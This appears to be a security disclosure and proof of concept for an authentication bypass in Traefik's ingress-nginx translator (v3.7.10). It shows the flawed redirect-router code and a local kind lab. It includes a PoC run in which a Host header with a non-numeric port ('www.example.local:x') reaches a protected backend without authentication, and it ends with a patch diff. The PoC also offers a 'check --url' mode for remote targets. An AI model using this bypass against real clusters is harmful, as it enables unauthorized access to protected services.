// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
    RedirectRegex: &dynamic.RedirectRegex{
        Regex:       `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
        Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
        StatusCode:  new(http.StatusPermanentRedirect), // 308
    },
}

conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
    Rule:        f.ExtraRouterRule,        // Host("www.example.com")
    Middlewares: []string{mwName},         // ONLY the redirect middleware
    Service:     rt.Service,               // <-- the protected backend
}

# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh                     # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab                    # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh                   # tear down

./poc.sh check --url https://target.example --host target.example --verbose

[1] Protected host (Host: example.local) — authentication must be enforced
    HTTP 401
  [PASS] auth middleware enforced (HTTP 401)

[2] www host (Host: www.example.local) — the redirect router
    HTTP 308
  [PASS] redirect router responds (HTTP 308)

[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
    HTTP 200
    > Hostname: whoami-ff77f998d-25f6n
    > RemoteAddr: 10.244.0.8:57586
    > X-Forwarded-Server: traefik-7f76f4c58d-5knfz

== RESULT ==
  [PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)

-            Regex:       `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+            // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+            Regex:       `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
-        Service:       rt.Service,
+        // The redirect router does not carry the location middlewares (auth included),
+        // so it must never reach the backend.
+        Service:       unavailableServiceName,